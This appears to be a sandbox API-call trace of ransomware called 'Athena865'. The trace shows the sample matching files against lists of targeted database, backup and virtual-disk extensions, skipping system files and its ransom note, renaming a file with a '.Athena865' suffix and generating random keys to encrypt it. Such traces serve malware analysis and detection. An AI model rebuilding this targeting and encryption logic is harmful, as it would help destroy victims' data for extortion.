lstrcmpiW (lpString1="MDL", lpString2="adb") returned 1 [0074.356] lstrlenW (lpString="ade") returned 3 [0074.356] lstrcmpiW (lpString1="MDL", lpString2="ade") returned 1 [0074.356] lstrlenW (lpString="adf") returned 3 [0074.356] lstrcmpiW (lpString1="MDL", lpString2="adf") returned 1 [0074.356] lstrlenW (lpString="adn") returned 3 [0074.356] lstrcmpiW (lpString1="MDL", lpString2="adn") returned 1 [0074.356] lstrlenW (lpString="adp") returned 3 [0074.356] lstrcmpiW (lpString1="MDL", lpString2="adp") returned 1 [0074.356] lstrlenW (lpString="alf") returned 3 [0074.356] lstrcmpiW (lpString1="MDL", lpString2="alf") returned 1 [0074.356] lstrlenW (lpString="ask") returned 3 [0074.356] lstrcmpiW (lpString1="MDL", lpString2="ask") returned 1 [0074.356] lstrlenW (lpString="btr") returned 3 [0074.356] lstrcmpiW (lpString1="MDL", lpString2="btr") returned 1 [0074.356] lstrlenW (lpString="cat") returned 3 [0074.356] lstrcmpiW (lpString1="MDL", lpString2="cat") returned 1 [0074.356] lstrlenW (lpString="cdb") returned 3 [0074.356] lstrcmpiW (lpString1="MDL", lpString2="cdb") returned 1 [0074.356] lstrlenW (lpString="ckp") returned 3 [0074.356] lstrcmpiW (lpString1="MDL", lpString2="ckp") returned 1 [0074.356] lstrlenW (lpString="cma") returned 3 [0074.356] lstrcmpiW (lpString1="MDL", lpString2="cma") returned 1 [0074.356] lstrlenW (lpString="cpd") returned 3 [0074.356] lstrcmpiW (lpString1="MDL", lpString2="cpd") returned 1 [0074.357] lstrlenW (lpString="dacpac") returned 6 [0074.357] lstrcmpiW (lpString1="EL.MDL", lpString2="dacpac") returned 1 [0074.357] lstrlenW (lpString="dad") returned 3 [0074.357] lstrcmpiW (lpString1="MDL", lpString2="dad") returned 1 [0074.357] lstrlenW (lpString="dadiagrams") returned 10 [0074.357] lstrcmpiW (lpString1="GMODEL.MDL", lpString2="dadiagrams") returned 1 [0074.357] lstrlenW (lpString="daschema") returned 8 [0074.357] lstrcmpiW (lpString1="ODEL.MDL", lpString2="daschema") returned 1 [0074.357] lstrlenW (lpString="db-journal") returned 10 [0074.357] lstrcmpiW (lpString1="GMODEL.MDL", lpString2="db-journal") returned 1 [0074.357] lstrlenW (lpString="db-shm") returned 6 [0074.357] lstrcmpiW (lpString1="EL.MDL", lpString2="db-shm") returned 1 [0074.357] lstrlenW (lpString="db-wal") returned 6 [0074.357] lstrcmpiW (lpString1="EL.MDL", lpString2="db-wal") returned 1 [0074.357] lstrlenW (lpString="dbc") returned 3 [0074.357] lstrcmpiW (lpString1="MDL", lpString2="dbc") returned 1 [0074.357] lstrlenW (lpString="dbs") returned 3 [0074.357] lstrcmpiW (lpString1="MDL", lpString2="dbs") returned 1 [0074.357] lstrlenW (lpString="dbt") returned 3 [0074.357] lstrcmpiW (lpString1="MDL", lpString2="dbt") returned 1 [0074.357] lstrlenW (lpString="dbv") returned 3 [0074.357] lstrcmpiW (lpString1="MDL", lpString2="dbv") returned 1 [0074.357] lstrlenW (lpString="dbx") returned 3 [0074.357] lstrcmpiW (lpString1="MDL", lpString2="dbx") returned 1 [0074.357] lstrlenW (lpString="dcb") returned 3 [0074.357] lstrcmpiW (lpString1="MDL", lpString2="dcb") returned 1 [0074.357] lstrlenW (lpString="dct") returned 3 [0074.357] lstrcmpiW (lpString1="MDL", lpString2="dct") returned 1 [0074.357] lstrlenW (lpString="dcx") returned 3 [0074.357] lstrcmpiW (lpString1="MDL", lpString2="dcx") returned 1 [0074.357] lstrlenW (lpString="ddl") returned 3 [0074.357] lstrcmpiW (lpString1="MDL", lpString2="ddl") returned 1 [0074.357] lstrlenW (lpString="dlis") returned 4 [0074.357] lstrcmpiW (lpString1=".MDL", lpString2="dlis") returned -1 [0074.357] lstrlenW (lpString="dp1") returned 3 [0074.358] lstrcmpiW (lpString1="MDL", lpString2="dp1") returned 1 [0074.358] lstrlenW (lpString="dqy") returned 3 [0074.358] lstrcmpiW (lpString1="MDL", lpString2="dqy") returned 1 [0074.358] lstrlenW (lpString="dsk") returned 3 [0074.358] lstrcmpiW (lpString1="MDL", lpString2="dsk") returned 1 [0074.358] lstrlenW (lpString="dsn") returned 3 [0074.358] lstrcmpiW (lpString1="MDL", lpString2="dsn") returned 1 [0074.358] lstrlenW (lpString="dtsx") returned 4 [0074.358] lstrcmpiW (lpString1=".MDL", lpString2="dtsx") returned -1 [0074.358] lstrlenW (lpString="dxl") returned 3 [0074.358] lstrcmpiW (lpString1="MDL", lpString2="dxl") returned 1 [0074.358] lstrlenW (lpString="eco") returned 3 [0074.358] lstrcmpiW (lpString1="MDL", lpString2="eco") returned 1 [0074.358] lstrlenW (lpString="ecx") returned 3 [0074.358] lstrcmpiW (lpString1="MDL", lpString2="ecx") returned 1 [0074.358] lstrlenW (lpString="edb") returned 3 [0074.358] lstrcmpiW (lpString1="MDL", lpString2="edb") returned 1 [0074.358] lstrlenW (lpString="epim") returned 4 [0074.358] lstrcmpiW (lpString1=".MDL", lpString2="epim") returned -1 [0074.358] lstrlenW (lpString="fcd") returned 3 [0074.358] lstrcmpiW (lpString1="MDL", lpString2="fcd") returned 1 [0074.358] lstrlenW (lpString="fdb") returned 3 [0074.358] lstrcmpiW (lpString1="MDL", lpString2="fdb") returned 1 [0074.358] lstrlenW (lpString="fic") returned 3 [0074.358] lstrcmpiW (lpString1="MDL", lpString2="fic") returned 1 [0074.358] lstrlenW (lpString="flexolibrary") returned 12 [0074.358] lstrlenW (lpString="fm5") returned 3 [0074.358] lstrcmpiW (lpString1="MDL", lpString2="fm5") returned 1 [0074.358] lstrlenW (lpString="fmp") returned 3 [0074.358] lstrcmpiW (lpString1="MDL", lpString2="fmp") returned 1 [0074.358] lstrlenW (lpString="fmp12") returned 5 [0074.358] lstrcmpiW (lpString1="L.MDL", lpString2="fmp12") returned 1 [0074.358] lstrlenW (lpString="fmpsl") returned 5 [0074.358] lstrcmpiW (lpString1="L.MDL", lpString2="fmpsl") returned 1 [0074.359] lstrlenW (lpString="fol") returned 3 [0074.359] lstrcmpiW (lpString1="MDL", lpString2="fol") returned 1 [0074.359] lstrlenW (lpString="fp3") returned 3 [0074.359] lstrcmpiW (lpString1="MDL", lpString2="fp3") returned 1 [0074.359] lstrlenW (lpString="fp4") returned 3 [0074.359] lstrcmpiW (lpString1="MDL", lpString2="fp4") returned 1 [0074.359] lstrlenW (lpString="fp5") returned 3 [0074.359] lstrcmpiW (lpString1="MDL", lpString2="fp5") returned 1 [0074.359] lstrlenW (lpString="fp7") returned 3 [0074.359] lstrcmpiW (lpString1="MDL", lpString2="fp7") returned 1 [0074.359] lstrlenW (lpString="fpt") returned 3 [0074.359] lstrcmpiW (lpString1="MDL", lpString2="fpt") returned 1 [0074.359] lstrlenW (lpString="frm") returned 3 [0074.359] lstrcmpiW (lpString1="MDL", lpString2="frm") returned 1 [0074.359] lstrlenW (lpString="gdb") returned 3 [0074.359] lstrcmpiW (lpString1="MDL", lpString2="gdb") returned 1 [0074.359] lstrlenW (lpString="gdb") returned 3 [0074.359] lstrcmpiW (lpString1="MDL", lpString2="gdb") returned 1 [0074.359] lstrlenW (lpString="grdb") returned 4 [0074.359] lstrcmpiW (lpString1=".MDL", lpString2="grdb") returned -1 [0074.359] lstrlenW (lpString="gwi") returned 3 [0074.359] lstrcmpiW (lpString1="MDL", lpString2="gwi") returned 1 [0074.359] lstrlenW (lpString="hdb") returned 3 [0074.359] lstrcmpiW (lpString1="MDL", lpString2="hdb") returned 1 [0074.359] lstrlenW (lpString="his") returned 3 [0074.359] lstrcmpiW (lpString1="MDL", lpString2="his") returned 1 [0074.359] lstrlenW (lpString="ib") returned 2 [0074.359] lstrcmpiW (lpString1="DL", lpString2="ib") returned -1 [0074.359] lstrlenW (lpString="idb") returned 3 [0074.359] lstrcmpiW (lpString1="MDL", lpString2="idb") returned 1 [0074.359] lstrlenW (lpString="ihx") returned 3 [0074.359] lstrcmpiW (lpString1="MDL", lpString2="ihx") returned 1 [0074.360] lstrlenW (lpString="itdb") returned 4 [0074.360] lstrcmpiW (lpString1=".MDL", lpString2="itdb") returned -1 [0074.360] lstrlenW (lpString="itw") returned 3 [0074.360] lstrcmpiW (lpString1="MDL", lpString2="itw") returned 1 [0074.360] lstrlenW (lpString="jet") returned 3 [0074.360] lstrcmpiW (lpString1="MDL", lpString2="jet") returned 1 [0074.360] lstrlenW (lpString="jtx") returned 3 [0074.360] lstrcmpiW (lpString1="MDL", lpString2="jtx") returned 1 [0074.360] lstrlenW (lpString="kdb") returned 3 [0074.360] lstrcmpiW (lpString1="MDL", lpString2="kdb") returned 1 [0074.360] lstrlenW (lpString="kexi") returned 4 [0074.360] lstrcmpiW (lpString1=".MDL", lpString2="kexi") returned -1 [0074.360] lstrlenW (lpString="kexic") returned 5 [0074.360] lstrcmpiW (lpString1="L.MDL", lpString2="kexic") returned 1 [0074.360] lstrlenW (lpString="kexis") returned 5 [0074.360] lstrcmpiW (lpString1="L.MDL", lpString2="kexis") returned 1 [0074.360] lstrlenW (lpString="lgc") returned 3 [0074.360] lstrcmpiW (lpString1="MDL", lpString2="lgc") returned 1 [0074.360] lstrlenW (lpString="lwx") returned 3 [0074.360] lstrcmpiW (lpString1="MDL", lpString2="lwx") returned 1 [0074.360] lstrlenW (lpString="maf") returned 3 [0074.360] lstrcmpiW (lpString1="MDL", lpString2="maf") returned 1 [0074.360] lstrlenW (lpString="maq") returned 3 [0074.360] lstrcmpiW (lpString1="MDL", lpString2="maq") returned 1 [0074.360] lstrlenW (lpString="mar") returned 3 [0074.360] lstrcmpiW (lpString1="MDL", lpString2="mar") returned 1 [0074.360] lstrlenW (lpString="marshal") returned 7 [0074.360] lstrcmpiW (lpString1="DEL.MDL", lpString2="marshal") returned -1 [0074.360] lstrlenW (lpString="mas") returned 3 [0074.360] lstrcmpiW (lpString1="MDL", lpString2="mas") returned 1 [0074.360] lstrlenW (lpString="mav") returned 3 [0074.360] lstrcmpiW (lpString1="MDL", lpString2="mav") returned 1 [0074.360] lstrlenW (lpString="maw") returned 3 [0074.360] lstrcmpiW (lpString1="MDL", lpString2="maw") returned 1 [0074.360] lstrlenW (lpString="mdbhtml") returned 7 [0074.361] lstrcmpiW (lpString1="DEL.MDL", lpString2="mdbhtml") returned -1 [0074.361] lstrlenW (lpString="mdn") returned 3 [0074.361] lstrcmpiW (lpString1="MDL", lpString2="mdn") returned -1 [0074.361] lstrlenW (lpString="mdt") returned 3 [0074.361] lstrcmpiW (lpString1="MDL", lpString2="mdt") returned -1 [0074.361] lstrlenW (lpString="mfd") returned 3 [0074.361] lstrcmpiW (lpString1="MDL", lpString2="mfd") returned -1 [0074.361] lstrlenW (lpString="mpd") returned 3 [0074.361] lstrcmpiW (lpString1="MDL", lpString2="mpd") returned -1 [0074.361] lstrlenW (lpString="mrg") returned 3 [0074.361] lstrcmpiW (lpString1="MDL", lpString2="mrg") returned -1 [0074.361] lstrlenW (lpString="mud") returned 3 [0074.361] lstrcmpiW (lpString1="MDL", lpString2="mud") returned -1 [0074.361] lstrlenW (lpString="mwb") returned 3 [0074.361] lstrcmpiW (lpString1="MDL", lpString2="mwb") returned -1 [0074.361] lstrlenW (lpString="myd") returned 3 [0074.361] lstrcmpiW (lpString1="MDL", lpString2="myd") returned -1 [0074.361] lstrlenW (lpString="ndf") returned 3 [0074.361] lstrcmpiW (lpString1="MDL", lpString2="ndf") returned -1 [0074.361] lstrlenW (lpString="nnt") returned 3 [0074.361] lstrcmpiW (lpString1="MDL", lpString2="nnt") returned -1 [0074.361] lstrlenW (lpString="nrmlib") returned 6 [0074.361] lstrcmpiW (lpString1="EL.MDL", lpString2="nrmlib") returned -1 [0074.361] lstrlenW (lpString="ns2") returned 3 [0074.361] lstrcmpiW (lpString1="MDL", lpString2="ns2") returned -1 [0074.361] lstrlenW (lpString="ns3") returned 3 [0074.361] lstrcmpiW (lpString1="MDL", lpString2="ns3") returned -1 [0074.361] lstrlenW (lpString="ns4") returned 3 [0074.361] lstrcmpiW (lpString1="MDL", lpString2="ns4") returned -1 [0074.361] lstrlenW (lpString="nsf") returned 3 [0074.361] lstrcmpiW (lpString1="MDL", lpString2="nsf") returned -1 [0074.361] lstrlenW (lpString="nv") returned 2 [0074.361] lstrcmpiW (lpString1="DL", lpString2="nv") returned -1 [0074.361] lstrlenW (lpString="nv2") returned 3 [0074.362] lstrcmpiW (lpString1="MDL", lpString2="nv2") returned -1 [0074.362] lstrlenW (lpString="nwdb") returned 4 [0074.362] lstrcmpiW (lpString1=".MDL", lpString2="nwdb") returned -1 [0074.362] lstrlenW (lpString="nyf") returned 3 [0074.362] lstrcmpiW (lpString1="MDL", lpString2="nyf") returned -1 [0074.362] lstrlenW (lpString="odb") returned 3 [0074.362] lstrcmpiW (lpString1="MDL", lpString2="odb") returned -1 [0074.362] lstrlenW (lpString="odb") returned 3 [0074.362] lstrcmpiW (lpString1="MDL", lpString2="odb") returned -1 [0074.362] lstrlenW (lpString="oqy") returned 3 [0074.362] lstrcmpiW (lpString1="MDL", lpString2="oqy") returned -1 [0074.362] lstrlenW (lpString="ora") returned 3 [0074.362] lstrcmpiW (lpString1="MDL", lpString2="ora") returned -1 [0074.362] lstrlenW (lpString="orx") returned 3 [0074.362] lstrcmpiW (lpString1="MDL", lpString2="orx") returned -1 [0074.362] lstrlenW (lpString="owc") returned 3 [0074.362] lstrcmpiW (lpString1="MDL", lpString2="owc") returned -1 [0074.362] lstrlenW (lpString="p96") returned 3 [0074.362] lstrcmpiW (lpString1="MDL", lpString2="p96") returned -1 [0074.362] lstrlenW (lpString="p97") returned 3 [0074.362] lstrcmpiW (lpString1="MDL", lpString2="p97") returned -1 [0074.362] lstrlenW (lpString="pan") returned 3 [0074.362] lstrcmpiW (lpString1="MDL", lpString2="pan") returned -1 [0074.362] lstrlenW (lpString="pdb") returned 3 [0074.362] lstrcmpiW (lpString1="MDL", lpString2="pdb") returned -1 [0074.362] lstrlenW (lpString="pdm") returned 3 [0074.362] lstrcmpiW (lpString1="MDL", lpString2="pdm") returned -1 [0074.362] lstrlenW (lpString="pnz") returned 3 [0074.362] lstrcmpiW (lpString1="MDL", lpString2="pnz") returned -1 [0074.362] lstrlenW (lpString="qry") returned 3 [0074.362] lstrcmpiW (lpString1="MDL", lpString2="qry") returned -1 [0074.362] lstrlenW (lpString="qvd") returned 3 [0074.362] lstrcmpiW (lpString1="MDL", lpString2="qvd") returned -1 [0074.362] lstrlenW (lpString="rbf") returned 3 [0074.363] lstrcmpiW (lpString1="MDL", lpString2="rbf") returned -1 [0074.363] lstrlenW (lpString="rctd") returned 4 [0074.363] lstrcmpiW (lpString1=".MDL", lpString2="rctd") returned -1 [0074.363] lstrlenW (lpString="rod") returned 3 [0074.363] lstrcmpiW (lpString1="MDL", lpString2="rod") returned -1 [0074.363] lstrlenW (lpString="rodx") returned 4 [0074.363] lstrcmpiW (lpString1=".MDL", lpString2="rodx") returned -1 [0074.363] lstrlenW (lpString="rpd") returned 3 [0074.363] lstrcmpiW (lpString1="MDL", lpString2="rpd") returned -1 [0074.363] lstrlenW (lpString="rsd") returned 3 [0074.363] lstrcmpiW (lpString1="MDL", lpString2="rsd") returned -1 [0074.363] lstrlenW (lpString="sas7bdat") returned 8 [0074.363] lstrcmpiW (lpString1="ODEL.MDL", lpString2="sas7bdat") returned -1 [0074.363] lstrlenW (lpString="sbf") returned 3 [0074.363] lstrcmpiW (lpString1="MDL", lpString2="sbf") returned -1 [0074.363] lstrlenW (lpString="scx") returned 3 [0074.363] lstrcmpiW (lpString1="MDL", lpString2="scx") returned -1 [0074.363] lstrlenW (lpString="sdb") returned 3 [0074.363] lstrcmpiW (lpString1="MDL", lpString2="sdb") returned -1 [0074.363] lstrlenW (lpString="sdc") returned 3 [0074.363] lstrcmpiW (lpString1="MDL", lpString2="sdc") returned -1 [0074.363] lstrlenW (lpString="sdf") returned 3 [0074.363] lstrcmpiW (lpString1="MDL", lpString2="sdf") returned -1 [0074.363] lstrlenW (lpString="sis") returned 3 [0074.363] lstrcmpiW (lpString1="MDL", lpString2="sis") returned -1 [0074.363] lstrlenW (lpString="spq") returned 3 [0074.363] lstrcmpiW (lpString1="MDL", lpString2="spq") returned -1 [0074.363] lstrlenW (lpString="te") returned 2 [0074.363] lstrcmpiW (lpString1="DL", lpString2="te") returned -1 [0074.363] lstrlenW (lpString="teacher") returned 7 [0074.363] lstrcmpiW (lpString1="DEL.MDL", lpString2="teacher") returned -1 [0074.363] lstrlenW (lpString="tmd") returned 3 [0074.363] lstrcmpiW (lpString1="MDL", lpString2="tmd") returned -1 [0074.364] lstrlenW (lpString="tps") returned 3 [0074.364] lstrcmpiW (lpString1="MDL", lpString2="tps") returned -1 [0074.364] lstrlenW (lpString="trc") returned 3 [0074.364] lstrcmpiW (lpString1="MDL", lpString2="trc") returned -1 [0074.364] lstrlenW (lpString="trc") returned 3 [0074.364] lstrcmpiW (lpString1="MDL", lpString2="trc") returned -1 [0074.364] lstrlenW (lpString="trm") returned 3 [0074.364] lstrcmpiW (lpString1="MDL", lpString2="trm") returned -1 [0074.364] lstrlenW (lpString="udb") returned 3 [0074.364] lstrcmpiW (lpString1="MDL", lpString2="udb") returned -1 [0074.364] lstrlenW (lpString="udl") returned 3 [0074.364] lstrcmpiW (lpString1="MDL", lpString2="udl") returned -1 [0074.364] lstrlenW (lpString="usr") returned 3 [0074.364] lstrcmpiW (lpString1="MDL", lpString2="usr") returned -1 [0074.364] lstrlenW (lpString="v12") returned 3 [0074.364] lstrcmpiW (lpString1="MDL", lpString2="v12") returned -1 [0074.364] lstrlenW (lpString="vis") returned 3 [0074.364] lstrcmpiW (lpString1="MDL", lpString2="vis") returned -1 [0074.364] lstrlenW (lpString="vpd") returned 3 [0074.364] lstrcmpiW (lpString1="MDL", lpString2="vpd") returned -1 [0074.364] lstrlenW (lpString="vvv") returned 3 [0074.364] lstrcmpiW (lpString1="MDL", lpString2="vvv") returned -1 [0074.364] lstrlenW (lpString="wdb") returned 3 [0074.364] lstrcmpiW (lpString1="MDL", lpString2="wdb") returned -1 [0074.364] lstrlenW (lpString="wmdb") returned 4 [0074.364] lstrcmpiW (lpString1=".MDL", lpString2="wmdb") returned -1 [0074.364] lstrlenW (lpString="wrk") returned 3 [0074.364] lstrcmpiW (lpString1="MDL", lpString2="wrk") returned -1 [0074.364] lstrlenW (lpString="xdb") returned 3 [0074.364] lstrcmpiW (lpString1="MDL", lpString2="xdb") returned -1 [0074.364] lstrlenW (lpString="xld") returned 3 [0074.364] lstrcmpiW (lpString1="MDL", lpString2="xld") returned -1 [0074.364] lstrlenW (lpString="xmlff") returned 5 [0074.364] lstrcmpiW (lpString1="L.MDL", lpString2="xmlff") returned -1 [0074.365] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\LOGMODEL.MDL.Athena865") returned 65 [0074.365] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\LOGMODEL.MDL" (normalized: "c:\\program files\\microsoft office\\office14\\logmodel.mdl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\LOGMODEL.MDL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\logmodel.mdl.athena865"), dwFlags=0x1) returned 1 [0074.366] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\LOGMODEL.MDL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\logmodel.mdl.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0074.366] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=46480) returned 1 [0074.366] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0074.366] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0074.366] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0074.366] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0074.367] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0074.367] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0074.368] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb890, lpName=0x0) returned 0x154 [0074.370] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb890) returned 0x100000 [0074.372] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0074.373] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0074.373] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0074.373] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0074.373] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0074.373] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0074.373] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0074.373] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0074.373] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0074.373] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0074.374] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0074.374] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0074.374] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0074.374] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0074.374] CloseHandle (hObject=0x154) returned 1 [0074.374] CloseHandle (hObject=0x17c) returned 1 [0074.374] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0074.374] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0074.374] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0074.375] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c850300, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd5e93400, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1c850300, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x77da8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="LOGVIEW.DLL", cAlternateFileName="")) returned 1 [0074.375] lstrcmpiW (lpString1="LOGVIEW.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0074.375] lstrcmpiW (lpString1="LOGVIEW.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0074.375] lstrcmpiW (lpString1="LOGVIEW.DLL", lpString2=".") returned 1 [0074.375] lstrcmpiW (lpString1="LOGVIEW.DLL", lpString2="..") returned 1 [0074.375] lstrcmpiW (lpString1="LOGVIEW.DLL", lpString2="windows") returned -1 [0074.375] lstrcmpiW (lpString1="LOGVIEW.DLL", lpString2="bootmgr") returned 1 [0074.375] lstrcmpiW (lpString1="LOGVIEW.DLL", lpString2="temp") returned -1 [0074.375] lstrcmpiW (lpString1="LOGVIEW.DLL", lpString2="pagefile.sys") returned -1 [0074.375] lstrcmpiW (lpString1="LOGVIEW.DLL", lpString2="boot") returned 1 [0074.375] lstrcmpiW (lpString1="LOGVIEW.DLL", lpString2="ids.txt") returned 1 [0074.375] lstrcmpiW (lpString1="LOGVIEW.DLL", lpString2="ntuser.dat") returned -1 [0074.375] lstrcmpiW (lpString1="LOGVIEW.DLL", lpString2="perflogs") returned -1 [0074.375] lstrcmpiW (lpString1="LOGVIEW.DLL", lpString2="MSBuild") returned -1 [0074.375] lstrlenW (lpString="LOGVIEW.DLL") returned 11 [0074.375] lstrcpyW (in: lpString1=0x241e89e, lpString2="LOGVIEW.DLL" | out: lpString1="LOGVIEW.DLL") returned="LOGVIEW.DLL" [0074.375] lstrlenW (lpString="LOGVIEW.DLL") returned 11 [0074.375] lstrlenW (lpString="Athena865") returned 9 [0074.375] lstrcmpiW (lpString1="GVIEW.DLL", lpString2="Athena865") returned 1 [0074.375] lstrlenW (lpString=".dll") returned 4 [0074.375] lstrcmpiW (lpString1="LOGVIEW.DLL", lpString2=".dll") returned 1 [0074.375] lstrlenW (lpString=".lnk") returned 4 [0074.375] lstrcmpiW (lpString1="LOGVIEW.DLL", lpString2=".lnk") returned 1 [0074.375] lstrlenW (lpString=".ini") returned 4 [0074.375] lstrcmpiW (lpString1="LOGVIEW.DLL", lpString2=".ini") returned 1 [0074.376] lstrlenW (lpString=".sys") returned 4 [0074.376] lstrcmpiW (lpString1="LOGVIEW.DLL", lpString2=".sys") returned 1 [0074.376] lstrlenW (lpString="LOGVIEW.DLL") returned 11 [0074.376] lstrlenW (lpString="bak") returned 3 [0074.376] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0074.376] lstrlenW (lpString="ba_") returned 3 [0074.376] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0074.376] lstrlenW (lpString="dbb") returned 3 [0074.376] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0074.376] lstrlenW (lpString="vmdk") returned 4 [0074.376] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0074.376] lstrlenW (lpString="rar") returned 3 [0074.376] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0074.376] lstrlenW (lpString="zip") returned 3 [0074.376] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0074.376] lstrlenW (lpString="tgz") returned 3 [0074.376] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0074.376] lstrlenW (lpString="vbox") returned 4 [0074.376] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0074.376] lstrlenW (lpString="vdi") returned 3 [0074.376] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0074.376] lstrlenW (lpString="vhd") returned 3 [0074.376] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0074.376] lstrlenW (lpString="vhdx") returned 4 [0074.376] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0074.376] lstrlenW (lpString="avhd") returned 4 [0074.376] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0074.376] lstrlenW (lpString="db") returned 2 [0074.376] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0074.376] lstrlenW (lpString="db2") returned 3 [0074.376] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0074.376] lstrlenW (lpString="db3") returned 3 [0074.376] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0074.376] lstrlenW (lpString="dbf") returned 3 [0074.376] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0074.377] lstrlenW (lpString="mdf") returned 3 [0074.377] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0074.377] lstrlenW (lpString="mdb") returned 3 [0074.377] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0074.377] lstrlenW (lpString="sql") returned 3 [0074.377] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0074.377] lstrlenW (lpString="sqlite") returned 6 [0074.377] lstrcmpiW (lpString1="EW.DLL", lpString2="sqlite") returned -1 [0074.377] lstrlenW (lpString="sqlite3") returned 7 [0074.377] lstrcmpiW (lpString1="IEW.DLL", lpString2="sqlite3") returned -1 [0074.377] lstrlenW (lpString="sqlitedb") returned 8 [0074.377] lstrcmpiW (lpString1="VIEW.DLL", lpString2="sqlitedb") returned 1 [0074.377] lstrlenW (lpString="xml") returned 3 [0074.377] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0074.377] lstrlenW (lpString="$er") returned 3 [0074.377] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0074.377] lstrlenW (lpString="4dd") returned 3 [0074.377] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0074.377] lstrlenW (lpString="4dl") returned 3 [0074.377] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0074.377] lstrlenW (lpString="^^^") returned 3 [0074.377] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0074.377] lstrlenW (lpString="abs") returned 3 [0074.377] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0074.377] 